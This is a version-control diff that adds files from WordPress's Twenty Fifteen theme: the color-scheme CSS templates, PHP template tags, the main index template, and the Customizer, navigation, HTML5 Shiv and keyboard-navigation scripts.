+		border-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['border_color']};
+	}
+
+	/* Border Focus Color */
+	a:focus,
+	button:focus,
+	input:focus {
+		outline-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		outline-color: {$colors['border_focus_color']};
+	}
+
+	input:focus,
+	textarea:focus {
+		border-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['border_focus_color']};
+	}
+
+	/* Sidebar Link Color */
+	.secondary-toggle:before {
+		color: {$colors['sidebar_textcolor']};
+	}
+
+	.site-title a,
+	.site-description {
+		color: {$colors['sidebar_textcolor']};
+	}
+
+	/* Sidebar Text Color */
+	.site-title a:hover,
+	.site-title a:focus {
+		color: {$colors['secondary_sidebar_textcolor']};
+	}
+
+	/* Sidebar Border Color */
+	.secondary-toggle {
+		border-color: {$colors['sidebar_textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['sidebar_border_color']};
+	}
+
+	/* Sidebar Border Focus Color */
+	.secondary-toggle:hover,
+	.secondary-toggle:focus {
+		border-color: {$colors['sidebar_textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['sidebar_border_focus_color']};
+	}
+
+	.site-title a {
+		outline-color: {$colors['sidebar_textcolor']}; /* Fallback for IE7 and IE8 */
+		outline-color: {$colors['sidebar_border_focus_color']};
+	}
+
+	/* Meta Background Color */
+	.entry-footer {
+		background-color: {$colors['meta_box_background_color']};
+	}
+
+	@media screen and (min-width: 38.75em) {
+		/* Main Text Color */
+		.page-header {
+			border-color: {$colors['textcolor']};
+		}
+	}
+
+	@media screen and (min-width: 59.6875em) {
+		/* Make sure its transparent on desktop */
+		.site-header,
+		.secondary {
+			background-color: transparent;
+		}
+
+		/* Sidebar Background Color */
+		.widget button,
+		.widget input[type="button"],
+		.widget input[type="reset"],
+		.widget input[type="submit"],
+		.widget_calendar tbody a,
+		.widget_calendar tbody a:hover,
+		.widget_calendar tbody a:focus {
+			color: {$colors['header_background_color']};
+		}
+
+		/* Sidebar Link Color */
+		.secondary a,
+		.dropdown-toggle:after,
+		.widget-title,
+		.widget blockquote cite,
+		.widget blockquote small {
+			color: {$colors['sidebar_textcolor']};
+		}
+
+		.widget button,
+		.widget input[type="button"],
+		.widget input[type="reset"],
+		.widget input[type="submit"],
+		.widget_calendar tbody a {
+			background-color: {$colors['sidebar_textcolor']};
+		}
+
+		.textwidget a {
+			border-color: {$colors['sidebar_textcolor']};
+		}
+
+		/* Sidebar Text Color */
+		.secondary a:hover,
+		.secondary a:focus,
+		.main-navigation .menu-item-description,
+		.widget,
+		.widget blockquote,
+		.widget .wp-caption-text,
+		.widget .gallery-caption {
+			color: {$colors['secondary_sidebar_textcolor']};
+		}
+
+		.widget button:hover,
+		.widget button:focus,
+		.widget input[type="button"]:hover,
+		.widget input[type="button"]:focus,
+		.widget input[type="reset"]:hover,
+		.widget input[type="reset"]:focus,
+		.widget input[type="submit"]:hover,
+		.widget input[type="submit"]:focus,
+		.widget_calendar tbody a:hover,
+		.widget_calendar tbody a:focus {
+			background-color: {$colors['secondary_sidebar_textcolor']};
+		}
+
+		.widget blockquote {
+			border-color: {$colors['secondary_sidebar_textcolor']};
+		}
+
+		/* Sidebar Border Color */
+		.main-navigation ul,
+		.main-navigation li,
+		.widget input,
+		.widget textarea,
+		.widget table,
+		.widget th,
+		.widget td,
+		.widget pre,
+		.widget li,
+		.widget_categories .children,
+		.widget_nav_menu .sub-menu,
+		.widget_pages .children,
+		.widget abbr[title] {
+			border-color: {$colors['sidebar_border_color']};
+		}
+
+		.dropdown-toggle:hover,
+		.dropdown-toggle:focus,
+		.widget hr {
+			background-color: {$colors['sidebar_border_color']};
+		}
+
+		.widget input:focus,
+		.widget textarea:focus {
+			border-color: {$colors['sidebar_border_focus_color']};
+		}
+
+		.sidebar a:focus,
+		.dropdown-toggle:focus {
+			outline-color: {$colors['sidebar_border_focus_color']};
+		}
+	}
+CSS;
+
+	return $css;
+}
+
+/**
+ * Output an Underscore template for generating CSS for the color scheme.
+ *
+ * The template generates the css dynamically for instant display in the Customizer
+ * preview.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_color_scheme_css_template() {
+	$colors = array(
+		'background_color'            => '{{ data.background_color }}',
+		'header_background_color'     => '{{ data.header_background_color }}',
+		'box_background_color'        => '{{ data.box_background_color }}',
+		'textcolor'                   => '{{ data.textcolor }}',
+		'secondary_textcolor'         => '{{ data.secondary_textcolor }}',
+		'border_color'                => '{{ data.border_color }}',
+		'border_focus_color'          => '{{ data.border_focus_color }}',
+		'sidebar_textcolor'           => '{{ data.sidebar_textcolor }}',
+		'sidebar_border_color'        => '{{ data.sidebar_border_color }}',
+		'sidebar_border_focus_color'  => '{{ data.sidebar_border_focus_color }}',
+		'secondary_sidebar_textcolor' => '{{ data.secondary_sidebar_textcolor }}',
+		'meta_box_background_color'   => '{{ data.meta_box_background_color }}',
+	);
+	?>
+	<script type="text/html" id="tmpl-twentyfifteen-color-scheme">
+		<?php echo twentyfifteen_get_color_scheme_css( $colors ); ?>
+	</script>
+	<?php
+}
+add_action( 'customize_controls_print_footer_scripts', 'twentyfifteen_color_scheme_css_template' );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/template-tags.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/template-tags.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/template-tags.php	(revision 56912)
@@ -0,0 +1,258 @@
+<?php
+/**
+ * Custom template tags for Twenty Fifteen
+ *
+ * Eventually, some of the functionality here could be replaced by core features.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+if ( ! function_exists( 'twentyfifteen_comment_nav' ) ) :
+/**
+ * Display navigation to next/previous comments when applicable.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_comment_nav() {
+	// Are there comments to navigate through?
+	if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) :
+	?>
+	<nav class="navigation comment-navigation" role="navigation">
+		<h2 class="screen-reader-text"><?php _e( 'Comment navigation', 'twentyfifteen' ); ?></h2>
+		<div class="nav-links">
+			<?php
+				if ( $prev_link = get_previous_comments_link( __( 'Older Comments', 'twentyfifteen' ) ) ) :
+					printf( '<div class="nav-previous">%s</div>', $prev_link );
+				endif;
+
+				if ( $next_link = get_next_comments_link( __( 'Newer Comments', 'twentyfifteen' ) ) ) :
+					printf( '<div class="nav-next">%s</div>', $next_link );
+				endif;
+			?>
+		</div><!-- .nav-links -->
+	</nav><!-- .comment-navigation -->
+	<?php
+	endif;
+}
+endif;
+
+if ( ! function_exists( 'twentyfifteen_entry_meta' ) ) :
+/**
+ * Prints HTML with meta information for the categories, tags.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_entry_meta() {
+	if ( is_sticky() && is_home() && ! is_paged() ) {
+		printf( '<span class="sticky-post">%s</span>', __( 'Featured', 'twentyfifteen' ) );
+	}
+
+	$format = get_post_format();
+	if ( current_theme_supports( 'post-formats', $format ) ) {
+		printf( '<span class="entry-format">%1$s<a href="%2$s">%3$s</a></span>',
+			sprintf( '<span class="screen-reader-text">%s </span>', _x( 'Format', 'Used before post format.', 'twentyfifteen' ) ),
+			esc_url( get_post_format_link( $format ) ),
+			get_post_format_string( $format )
+		);
+	}
+
+	if ( in_array( get_post_type(), array( 'post', 'attachment' ) ) ) {
+		$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
+
+		if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) {
+			$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
+		}
+
+		$time_string = sprintf( $time_string,
+			esc_attr( get_the_date( 'c' ) ),
+			get_the_date(),
+			esc_attr( get_the_modified_date( 'c' ) ),
+			get_the_modified_date()
+		);
+
+		printf( '<span class="posted-on"><span class="screen-reader-text">%1$s </span><a href="%2$s" rel="bookmark">%3$s</a></span>',
+			_x( 'Posted on', 'Used before publish date.', 'twentyfifteen' ),
+			esc_url( get_permalink() ),
+			$time_string
+		);
+	}
+
+	if ( 'post' == get_post_type() ) {
+		if ( is_singular() || is_multi_author() ) {
+			printf( '<span class="byline"><span class="author vcard"><span class="screen-reader-text">%1$s </span><a class="url fn n" href="%2$s">%3$s</a></span></span>',
+				_x( 'Author', 'Used before post author name.', 'twentyfifteen' ),
+				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+				get_the_author()
+			);
+		}
+
+		$categories_list = get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfifteen' ) );
+		if ( $categories_list && twentyfifteen_categorized_blog() ) {
+			printf( '<span class="cat-links"><span class="screen-reader-text">%1$s </span>%2$s</span>',
+				_x( 'Categories', 'Used before category names.', 'twentyfifteen' ),
+				$categories_list
+			);
+		}
+
+		$tags_list = get_the_tag_list( '', _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfifteen' ) );
+		if ( $tags_list && ! is_wp_error( $tags_list ) ) {
+			printf( '<span class="tags-links"><span class="screen-reader-text">%1$s </span>%2$s</span>',
+				_x( 'Tags', 'Used before tag names.', 'twentyfifteen' ),
+				$tags_list
+			);
+		}
+	}
+
+	if ( is_attachment() && wp_attachment_is_image() ) {
+		// Retrieve attachment metadata.
+		$metadata = wp_get_attachment_metadata();
+
+		printf( '<span class="full-size-link"><span class="screen-reader-text">%1$s </span><a href="%2$s">%3$s &times; %4$s</a></span>',
+			_x( 'Full size', 'Used before full size attachment link.', 'twentyfifteen' ),
+			esc_url( wp_get_attachment_url() ),
+			$metadata['width'],
+			$metadata['height']
+		);
+	}
+
+	if ( ! is_single() && ! post_password_required() && ( comments_open() || get_comments_number() ) ) {
+		echo '<span class="comments-link">';
+		/* translators: %s: post title */
+		comments_popup_link( sprintf( __( 'Leave a comment<span class="screen-reader-text"> on %s</span>', 'twentyfifteen' ), get_the_title() ) );
+		echo '</span>';
+	}
+}
+endif;
+
+/**
+ * Determine whether blog/site has more than one category.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return bool True of there is more than one category, false otherwise.
+ */
+function twentyfifteen_categorized_blog() {
+	if ( false === ( $all_the_cool_cats = get_transient( 'twentyfifteen_categories' ) ) ) {
+		// Create an array of all the categories that are attached to posts.
+		$all_the_cool_cats = get_categories( array(
+			'fields'     => 'ids',
+			'hide_empty' => 1,
+
+			// We only need to know if there is more than one category.
+			'number'     => 2,
+		) );
+
+		// Count the number of categories that are attached to the posts.
+		$all_the_cool_cats = count( $all_the_cool_cats );
+
+		set_transient( 'twentyfifteen_categories', $all_the_cool_cats );
+	}
+
+	if ( $all_the_cool_cats > 1 || is_preview() ) {
+		// This blog has more than 1 category so twentyfifteen_categorized_blog should return true.
+		return true;
+	} else {
+		// This blog has only 1 category so twentyfifteen_categorized_blog should return false.
+		return false;
+	}
+}
+
+/**
+ * Flush out the transients used in {@see twentyfifteen_categorized_blog()}.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_category_transient_flusher() {
+	// Like, beat it. Dig?
+	delete_transient( 'twentyfifteen_categories' );
+}
+add_action( 'edit_category', 'twentyfifteen_category_transient_flusher' );
+add_action( 'save_post',     'twentyfifteen_category_transient_flusher' );
+
+if ( ! function_exists( 'twentyfifteen_post_thumbnail' ) ) :
+/**
+ * Display an optional post thumbnail.
+ *
+ * Wraps the post thumbnail in an anchor element on index views, or a div
+ * element when on single views.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_post_thumbnail() {
+	if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) {
+		return;
+	}
+
+	if ( is_singular() ) :
+	?>
+
+	<div class="post-thumbnail">
+		<?php the_post_thumbnail(); ?>
+	</div><!-- .post-thumbnail -->
+
+	<?php else : ?>
+
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>" aria-hidden="true">
+		<?php
+			the_post_thumbnail( 'post-thumbnail', array( 'alt' => get_the_title() ) );
+		?>
+	</a>
+
+	<?php endif; // End is_singular()
+}
+endif;
+
+if ( ! function_exists( 'twentyfifteen_get_link_url' ) ) :
+/**
+ * Return the post URL.
+ *
+ * Falls back to the post permalink if no URL is found in the post.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see get_url_in_content()
+ *
+ * @return string The Link format URL.
+ */
+function twentyfifteen_get_link_url() {
+	$has_url = get_url_in_content( get_the_content() );
+
+	return $has_url ? $has_url : apply_filters( 'the_permalink', get_permalink() );
+}
+endif;
+
+if ( ! function_exists( 'twentyfifteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ... and a 'Continue reading' link.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return string 'Continue reading' link prepended with an ellipsis.
+ */
+function twentyfifteen_excerpt_more( $more ) {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+		/* translators: %s: Name of current post */
+		sprintf( __( 'Continue reading %s', 'twentyfifteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
+		);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentyfifteen_excerpt_more' );
+endif;
+
+if ( ! function_exists( 'twentyfifteen_the_custom_logo' ) ) :
+/**
+ * Displays the optional custom logo.
+ *
+ * Does nothing if the custom logo is not available.
+ *
+ * @since Twenty Fifteen 1.5
+ */
+function twentyfifteen_the_custom_logo() {
+	if ( function_exists( 'the_custom_logo' ) ) {
+		the_custom_logo();
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/index.php	(revision 56912)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * e.g., it puts together the home page when no home.php file exists.
+ *
+ * Learn more: {@link https://codex.wordpress.org/Template_Hierarchy}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php if ( is_home() && ! is_front_page() ) : ?>
+				<header>
+					<h1 class="page-title screen-reader-text"><?php single_post_title(); ?></h1>
+				</header>
+			<?php endif; ?>
+
+			<?php
+			// Start the loop.
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentyfifteen' ),
+				'next_text'          => __( 'Next page', 'twentyfifteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/color-scheme-control.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/color-scheme-control.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/color-scheme-control.js	(revision 56912)
@@ -0,0 +1,78 @@
+/* global colorScheme, Color */
+/**
+ * Add a listener to the Color Scheme control to update other color controls to new values/defaults.
+ * Also trigger an update of the Color Scheme CSS when a color is changed.
+ */
+
+( function( api ) {
+	var cssTemplate = wp.template( 'twentyfifteen-color-scheme' ),
+		colorSchemeKeys = [
+			'background_color',
+			'header_background_color',
+			'box_background_color',
+			'textcolor',
+			'sidebar_textcolor',
+			'meta_box_background_color'
+		],
+		colorSettings = [
+			'background_color',
+			'header_background_color',
+			'sidebar_textcolor'
+		];
+
+	api.controlConstructor.select = api.Control.extend( {
+		ready: function() {
+			if ( 'color_scheme' === this.id ) {
+				this.setting.bind( 'change', function( value ) {
+					// Update Background Color.
+					api( 'background_color' ).set( colorScheme[value].colors[0] );
+					api.control( 'background_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', colorScheme[value].colors[0] )
+						.wpColorPicker( 'defaultColor', colorScheme[value].colors[0] );
+
+					// Update Header/Sidebar Background Color.
+					api( 'header_background_color' ).set( colorScheme[value].colors[1] );
+					api.control( 'header_background_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', colorScheme[value].colors[1] )
+						.wpColorPicker( 'defaultColor', colorScheme[value].colors[1] );
+
+					// Update Header/Sidebar Text Color.
+					api( 'sidebar_textcolor' ).set( colorScheme[value].colors[4] );
+					api.control( 'sidebar_textcolor' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', colorScheme[value].colors[4] )
+						.wpColorPicker( 'defaultColor', colorScheme[value].colors[4] );
+				} );
+			}
+		}
+	} );
+
+	// Generate the CSS for the current Color Scheme.
+	function updateCSS() {
+		var scheme = api( 'color_scheme' )(), css,
+			colors = _.object( colorSchemeKeys, colorScheme[ scheme ].colors );
+
+		// Merge in color scheme overrides.
+		_.each( colorSettings, function( setting ) {
+			colors[ setting ] = api( setting )();
+		});
+
+		// Add additional colors.
+		colors.secondary_textcolor = Color( colors.textcolor ).toCSS( 'rgba', 0.7 );
+		colors.border_color = Color( colors.textcolor ).toCSS( 'rgba', 0.1 );
+		colors.border_focus_color = Color( colors.textcolor ).toCSS( 'rgba', 0.3 );
+		colors.secondary_sidebar_textcolor = Color( colors.sidebar_textcolor ).toCSS( 'rgba', 0.7 );
+		colors.sidebar_border_color = Color( colors.sidebar_textcolor ).toCSS( 'rgba', 0.1 );
+		colors.sidebar_border_focus_color = Color( colors.sidebar_textcolor ).toCSS( 'rgba', 0.3 );
+
+		css = cssTemplate( colors );
+
+		api.previewer.send( 'update-color-scheme-css', css );
+	}
+
+	// Update the CSS whenever a color setting is changed.
+	_.each( colorSettings, function( setting ) {
+		api( setting, function( setting ) {
+			setting.bind( updateCSS );
+		} );
+	} );
+} )( wp.customize );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/customize-preview.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/customize-preview.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/customize-preview.js	(revision 56912)
@@ -0,0 +1,35 @@
+/**
+ * Live-update changed settings in real time in the Customizer preview.
+ */
+
+( function( $ ) {
+	var $style = $( '#twentyfifteen-color-scheme-css' ),
+		api = wp.customize;
+
+	if ( ! $style.length ) {
+		$style = $( 'head' ).append( '<style type="text/css" id="twentyfifteen-color-scheme-css" />' )
+		                    .find( '#twentyfifteen-color-scheme-css' );
+	}
+
+	// Site title.
+	api( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+
+	// Site tagline.
+	api( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+
+	// Color Scheme CSS.
+	api.bind( 'preview-ready', function() {
+		api.preview.bind( 'update-color-scheme-css', function( css ) {
+			$style.html( css );
+		} );
+	} );
+
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/functions.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/functions.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/functions.js	(revision 56912)
@@ -0,0 +1,178 @@
+/* global screenReaderText */
+/**
+ * Theme functions file.
+ *
+ * Contains handlers for navigation and widget area.
+ */
+
+( function( $ ) {
+	var $body, $window, $sidebar, adminbarOffset, top = false,
+	    bottom = false, windowWidth, windowHeight, lastWindowPos = 0,
+	    topOffset = 0, bodyHeight, sidebarHeight, resizeTimer,
+	    secondary, button;
+
+	function initMainNavigation( container ) {
+		// Add dropdown toggle that display child menu items.
+		container.find( '.menu-item-has-children > a' ).after( '<button class="dropdown-toggle" aria-expanded="false">' + screenReaderText.expand + '</button>' );
+
+		// Toggle buttons and submenu items with active children menu items.
+		container.find( '.current-menu-ancestor > button' ).addClass( 'toggle-on' );
+		container.find( '.current-menu-ancestor > .sub-menu' ).addClass( 'toggled-on' );
+
+		container.find( '.dropdown-toggle' ).click( function( e ) {
+			var _this = $( this );
+			e.preventDefault();
+			_this.toggleClass( 'toggle-on' );
+			_this.next( '.children, .sub-menu' ).toggleClass( 'toggled-on' );
+			_this.attr( 'aria-expanded', _this.attr( 'aria-expanded' ) === 'false' ? 'true' : 'false' );
+			_this.html( _this.html() === screenReaderText.expand ? screenReaderText.collapse : screenReaderText.expand );
+		} );
+	}
+	initMainNavigation( $( '.main-navigation' ) );
+
+	// Re-initialize the main navigation when it is updated, persisting any existing submenu expanded states.
+	$( document ).on( 'customize-preview-menu-refreshed', function( e, params ) {
+		if ( 'primary' === params.wpNavMenuArgs.theme_location ) {
+			initMainNavigation( params.newContainer );
+
+			// Re-sync expanded states from oldContainer.
+			params.oldContainer.find( '.dropdown-toggle.toggle-on' ).each(function() {
+				var containerId = $( this ).parent().prop( 'id' );
+				$( params.newContainer ).find( '#' + containerId + ' > .dropdown-toggle' ).triggerHandler( 'click' );
+			});
+		}
+	});
+
+	secondary = $( '#secondary' );
+	button = $( '.site-branding' ).find( '.secondary-toggle' );
+
+	// Enable menu toggle for small screens.
+	( function() {
+		var menu, widgets, social;
+		if ( ! secondary.length || ! button.length ) {
+			return;
+		}
+
+		// Hide button if there are no widgets and the menus are missing or empty.
+		menu    = secondary.find( '.nav-menu' );
+		widgets = secondary.find( '#widget-area' );
+		social  = secondary.find( '#social-navigation' );
+		if ( ! widgets.length && ! social.length && ( ! menu.length || ! menu.children().length ) ) {
+			button.hide();
+			return;
+		}
+
+		button.on( 'click.twentyfifteen', function() {
+			secondary.toggleClass( 'toggled-on' );
+			secondary.trigger( 'resize' );
+			$( this ).toggleClass( 'toggled-on' );
+			if ( $( this, secondary ).hasClass( 'toggled-on' ) ) {
+				$( this ).attr( 'aria-expanded', 'true' );
+				secondary.attr( 'aria-expanded', 'true' );
+			} else {
+				$( this ).attr( 'aria-expanded', 'false' );
+				secondary.attr( 'aria-expanded', 'false' );
+			}
+		} );
+	} )();
+
+	/**
+	 * @summary Add or remove ARIA attributes.
+	 * Uses jQuery's width() function to determine the size of the window and add
+	 * the default ARIA attributes for the menu toggle if it's visible.
+	 * @since Twenty Fifteen 1.1
+	 */
+	function onResizeARIA() {
+		if ( 955 > $window.width() ) {
+			button.attr( 'aria-expanded', 'false' );
+			secondary.attr( 'aria-expanded', 'false' );
+			button.attr( 'aria-controls', 'secondary' );
+		} else {
+			button.removeAttr( 'aria-expanded' );
+			secondary.removeAttr( 'aria-expanded' );
+			button.removeAttr( 'aria-controls' );
+		}
+	}
+
+	// Sidebar scrolling.
+	function resize() {
+		windowWidth = $window.width();
+
+		if ( 955 > windowWidth ) {
+			top = bottom = false;
+			$sidebar.removeAttr( 'style' );
+		}
+	}
+
+	function scroll() {
+		var windowPos = $window.scrollTop();
+
+		if ( 955 > windowWidth ) {
+			return;
+		}
+
+		sidebarHeight = $sidebar.height();
+		windowHeight  = $window.height();
+		bodyHeight    = $body.height();
+
+		if ( sidebarHeight + adminbarOffset > windowHeight ) {
+			if ( windowPos > lastWindowPos ) {
+				if ( top ) {
+					top = false;
+					topOffset = ( $sidebar.offset().top > 0 ) ? $sidebar.offset().top - adminbarOffset : 0;
+					$sidebar.attr( 'style', 'top: ' + topOffset + 'px;' );
+				} else if ( ! bottom && windowPos + windowHeight > sidebarHeight + $sidebar.offset().top && sidebarHeight + adminbarOffset < bodyHeight ) {
+					bottom = true;
+					$sidebar.attr( 'style', 'position: fixed; bottom: 0;' );
+				}
+			} else if ( windowPos < lastWindowPos ) {
+				if ( bottom ) {
+					bottom = false;
+					topOffset = ( $sidebar.offset().top > 0 ) ? $sidebar.offset().top - adminbarOffset : 0;
+					$sidebar.attr( 'style', 'top: ' + topOffset + 'px;' );
+				} else if ( ! top && windowPos + adminbarOffset < $sidebar.offset().top ) {
+					top = true;
+					$sidebar.attr( 'style', 'position: fixed;' );
+				}
+			} else {
+				top = bottom = false;
+				topOffset = ( $sidebar.offset().top > 0 ) ? $sidebar.offset().top - adminbarOffset : 0;
+				$sidebar.attr( 'style', 'top: ' + topOffset + 'px;' );
+			}
+		} else if ( ! top ) {
+			top = true;
+			$sidebar.attr( 'style', 'position: fixed;' );
+		}
+
+		lastWindowPos = windowPos;
+	}
+
+	function resizeAndScroll() {
+		resize();
+		scroll();
+	}
+
+	$( document ).ready( function() {
+		$body          = $( document.body );
+		$window        = $( window );
+		$sidebar       = $( '#sidebar' ).first();
+		adminbarOffset = $body.is( '.admin-bar' ) ? $( '#wpadminbar' ).height() : 0;
+
+		$window
+			.on( 'scroll.twentyfifteen', scroll )
+			.on( 'load.twentyfifteen', onResizeARIA )
+			.on( 'resize.twentyfifteen', function() {
+				clearTimeout( resizeTimer );
+				resizeTimer = setTimeout( resizeAndScroll, 500 );
+				onResizeARIA();
+			} );
+		$sidebar.on( 'click.twentyfifteen keydown.twentyfifteen', 'button', resizeAndScroll );
+
+		resizeAndScroll();
+
+		for ( var i = 1; i < 6; i++ ) {
+			setTimeout( resizeAndScroll, 100 * i );
+		}
+	} );
+
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/html5.js	(revision 56912)
@@ -0,0 +1,9 @@
+/*
+ * HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+ */
+
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/keyboard-image-navigation.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/keyboard-image-navigation.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/keyboard-image-navigation.js	(revision 56912)
@@ -0,0 +1,22 @@
+/**
+ * Twenty Fifteen keyboard support for image navigation.
+ */
+
+( function( $ ) {
+	$( document ).on( 'keydown.twentyfifteen', function( e ) {
+		var url = false;
+
+		// Left arrow key code.
+		if ( e.which === 37 ) {
+			url = $( '.nav-previous a' ).attr( 'href' );
+
+		// Right arrow key code.
+		} else if ( e.which === 39 ) {
+			url = $( '.nav-next a' ).attr( 'href' );
+		}
+
+		if ( url && ( ! $( 'textarea, input' ).is( ':focus' ) ) ) {
+			window.location = url;
+		}
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js
